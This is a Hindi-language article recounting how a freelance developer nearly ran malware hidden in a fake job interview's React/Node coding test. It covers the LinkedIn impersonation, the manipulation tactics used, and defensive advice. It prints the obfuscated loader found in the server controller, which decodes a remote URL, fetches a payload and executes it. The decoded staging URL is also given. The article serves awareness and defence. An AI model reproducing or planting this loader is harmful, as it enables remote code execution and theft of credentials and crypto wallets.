• एक फ़्रीलांस डेवलपर बेहद परिष्कृत नकली hiring interview में coding test के रूप में छिपाए गए malware को चलाने से 30 सेकंड पहले उसे पकड़कर बड़े ख़तरे से बच गया
  • हमलावर ने एक वास्तविक blockchain कंपनी के CBO का रूप धारण किया और भरोसा बनाने के लिए 1,000 से अधिक connections वाले LinkedIn profile तथा पेशेवर Bitbucket repository का उपयोग किया
  • दिए गए React/Node codebase के server controller में byte array के रूप में obfuscated malware छिपा था, जिसे admin अधिकारों के साथ चलने पर crypto wallet, files, passwords समेत सभी digital assets चुराने के लिए बनाया गया था
  • डेवलपर ने code चलाने से ठीक पहले Cursor से suspicious code की जाँच करने को कहा, जिससे malware पकड़ में आया; इसका distribution URL ठीक 24 घंटे बाद मिटा दिया गया, जिससे evidence cleanup system होने का भी पता चला
  • यह हमला urgency, authority, familiarity और social proof का उपयोग करने वाला psychological manipulation और social engineering का एक क्लासिक उदाहरण था
  • यह घटना व्यावहारिक सबक देती है कि डेवलपर्स को किसी भी बाहरी code को चलाने से पहले sandbox inspection और identity/repository verification अनिवार्य करना चाहिए, और चेतावनी देती है कि यह तरीका बड़े पैमाने पर नुकसान पहुँचा सकता है

हमले की शुरुआत और उसका तरीका

  • लेखक 8 साल के अनुभव वाला फ़्रीलांस डेवलपर है, जो सामान्यतः सुरक्षा को लेकर लगभग paranoid स्तर तक सतर्क रहता था, फिर भी इस हमले में लगभग फँस गया
  • उसे Symfa के chief blockchain officer Mykola Yanchii नाम के व्यक्ति से LinkedIn message मिला
    • असली कंपनी, असली LinkedIn profile, 1,000 से अधिक connections
    • “BestCity नाम का real-estate workflow transition platform बना रहे हैं. पार्ट-टाइम position है. flexible structure” जैसे पेशेवर और सहज संदेश
  • पूरी प्रक्रिया सामान्य hiring process जैसी लगी, इसलिए उसने कॉल के लिए सहमति दे दी

जाल: coding test के रूप में छिपा malware

  • मीटिंग से पहले Mykola ने एक “test project” भेजा — technical interview में यह एक सामान्य प्रथा है
    • React/Node codebase पर आधारित 30 मिनट का test, जिससे डेवलपर की skills जाँची जानी थीं
  • Bitbucket repository बहुत पेशेवर ढंग से तैयार की गई थी
    • साफ़-सुथरा README, सही documentation
    • यहाँ तक कि टैबलेट पकड़े घर के सामने खड़ी एक महिला की corporate stock photo भी शामिल थी
  • लेखक की गलती: वह कॉल के समय से लेट हो गया, इसलिए उसे 30 मिनट में code review करना पड़ा
    • सामान्यतः वह सब कुछ sandbox environment (Docker container, isolated environment) में चलाता
    • लेकिन समय के दबाव में उसने code को चलाए बिना पहले सिर्फ़ देखना शुरू किया
  • 30 मिनट तक उसने स्पष्ट bugs ठीक किए, docker-compose file जोड़ी, और code cleanup जैसे सामान्य काम किए
  • जब code चलाकर अपना काम दिखाने की तैयारी पूरी हो गई, तभी उसका paranoid developer instinct सक्रिय हुआ

बचाव: AI की मदद

  • npm start चलाने से ठीक पहले उसने Cursor AI agent को यह prompt दिया
    • “इस application को चलाने से पहले, क्या आप देख सकते हैं कि इस codebase में कोई suspicious code तो नहीं है? जैसे ऐसी चीज़ें जो ऐसी files पढ़ें जिन्हें नहीं पढ़ना चाहिए, या crypto wallet तक पहुँचने की कोशिश करें?”
  • नतीजा चौंकाने वाला था: server/controllers/userController.js के बीचोंबीच यह code मिला
    //Get Cookie  
    (async () => {  
        const byteArray = [  
            104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,  
            110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,  
            98, 50, 48, 51, 49, 102, 98, 57  
        ];  
        const uint8Array = new Uint8Array(byteArray);  
        const decoder = new TextDecoder('utf-8');  
        axios.get(decoder.decode(uint8Array))  
            .then(response => {  
                new Function("require", response.data.model)(require);  
            })  
            .catch(error => { });  
    })();  
    
  • इस code की विशेषताएँ
    • यह obfuscated, stealthy और malicious था और 100% active था
    • इसे सामान्य admin functionality के बीच इस तरह डाला गया था कि admin route access होते ही यह पूर्ण server privileges के साथ तुरंत चल जाए
  • byte array को decode करने पर URL निकला: https://api.npoint.io/2c458612399c3b2031fb9
    • पहली बार URL खोलने पर वह active था और payload प्राप्त किया जा सका
    • यह शुद्ध malware था, जिसे crypto wallet, files, passwords और अन्य सभी digital assets चुराने के लिए बनाया गया था
  • सबसे अहम बात: URL ठीक 24 घंटे बाद delete कर दिया गया — यानी हमलावरों के पास सबूत जल्दी मिटाने का infrastructure था
  • VirusTotal में payload की जाँच करने पर उसके वास्तविक malware होने की पुष्टि हुई

संगठित हमला अभियान

  • यह किसी amateur स्तर की ठगी नहीं, बल्कि बहुत ही परिष्कृत operation था
  • LinkedIn profile
    • Mykola Yanchii 100% असली जैसा दिखता था
    • chief blockchain officer का title, उपयुक्त career history
    • “innovation” और “blockchain consulting” पर सामान्य LinkedIn posts भी मौजूद थीं
  • कंपनी की आड़
    • Symfa का पूरा LinkedIn company page था
    • पेशेवर branding, कई employees, और “blockchain से real estate में innovation” जैसी posts
    • संबंधित pages और follower network भी तैयार किया गया था
  • approach
    • शुरुआती संपर्क में कोई warning sign नहीं था
    • पेशेवर भाषा, तर्कसंगत project scope
    • scheduling के लिए Calendly तक इस्तेमाल किया गया
  • payload placement
    • malware को server-side controller में रणनीतिक रूप से रखा गया था
    • admin functionality access होते ही पूर्ण Node.js privileges के साथ चलने के लिए तैयार किया गया था

psychological manipulation techniques

  • वे तत्व जिन्होंने इस हमले को ख़तरनाक बनाया
  • तात्कालिकता (Urgency)
    • “समय बचाने के लिए मीटिंग से पहले test पूरा कर लें”
  • प्राधिकरण (Authority)
    • verified-सा दिखने वाला LinkedIn profile, असली कंपनी, पेशेवर setup
  • परिचितता (Familiarity)
    • standard take-home coding test
    • ऐसा format जिससे हर डेवलपर कई बार गुज़र चुका होता है
  • social proof
    • असली employees और असली connections वाला वास्तविक company page
  • लेखक खुद सुरक्षा को लेकर बहुत सतर्क था, फिर भी लगभग फँस गया

सीख

  • सिर्फ़ एक साधारण AI prompt ने उसे बड़ी तबाही से बचा लिया
    • न कोई advanced security tool, न कोई महँगा antivirus software
    • बस unknown code चलाने से पहले coding assistant से suspicious patterns ढूँढने को कहा गया
  • डरावनी बात: यह attack vector डेवलपर्स के लिए लगभग परफेक्ट है
    • डेवलपर्स दिनभर code download और run करते रहते हैं
    • GitHub repositories, npm packages, coding challenges आदि
    • ज़्यादातर लोग हर चीज़ sandbox में नहीं चलाते
  • यह server-side malware था, जिसके पास पूर्ण Node.js privileges थे
    • environment variables, database connections, file system, crypto wallets—सब तक पहुँच संभव थी

हमले का पैमाना और प्रभाव

  • अगर ऐसे परिष्कृत operations बड़े पैमाने पर डेवलपर्स को target कर रहे हैं, तो अब तक कितने डेवलपर्स संक्रमित हो चुके होंगे?
  • उन्होंने इस समय कितने production systems में घुसपैठ कर रखी होगी?
  • सटीक targeting
    • डेवलपर आदर्श शिकार हैं
    • डेवलपर के कंप्यूटर में पूरे साम्राज्य की चाबियाँ होती हैं: production credentials, crypto wallets, customer data
  • पेशेवर camouflage
    • LinkedIn legitimacy, realistic codebase, standard interview process
  • तकनीकी परिष्कृतता
    • multi-layer obfuscation, remote payload delivery, dead man’s switch, server-side execution
  • एक सफल infection से निम्न चीज़ें ख़तरे में पड़ सकती हैं
    • बड़ी कंपनियों के production systems से समझौता
    • लाखों डॉलर मूल्य की crypto holdings
    • हज़ारों users का निजी data

निष्कर्ष और बचाव के तरीके

डेवलपर के रूप में अगर आपको LinkedIn पर कोई job opportunity मिले:

  • 1. हमेशा unknown code को sandbox में चलाएँ
    • Docker container, VM, जो भी उपलब्ध हो उसका उपयोग करें
    • इसे कभी भी सीधे अपने मुख्य कंप्यूटर पर न चलाएँ
  • 2. suspicious patterns scan करने के लिए AI का इस्तेमाल करें
    • 30 सेकंड काफ़ी हैं
    • यह आपकी पूरी digital life बचा सकता है
  • 3. हर चीज़ verify करें
    • असली LinkedIn profile का मतलब असली व्यक्ति नहीं होता
    • असली कंपनी का मतलब असली अवसर नहीं होता
  • 4. अपने instinct पर भरोसा करें
    • अगर कोई आपको code run करने के लिए जल्दी करा रहा है, तो यह warning sign है
  • यह scam इतना परिष्कृत था कि लेखक के शुरुआती BS detector को भी चकमा दे गया
  • लेकिन एक paranoid पल और एक साधारण AI prompt ने पूरे attack को उजागर कर दिया
  • अगली बार जब कोई आपको “coding challenge” भेजे, तो इस कहानी को याद रखें
  • आपका crypto wallet आपका धन्यवाद करेगा

अभी कोई टिप्पणी नहीं है.

अभी कोई टिप्पणी नहीं है.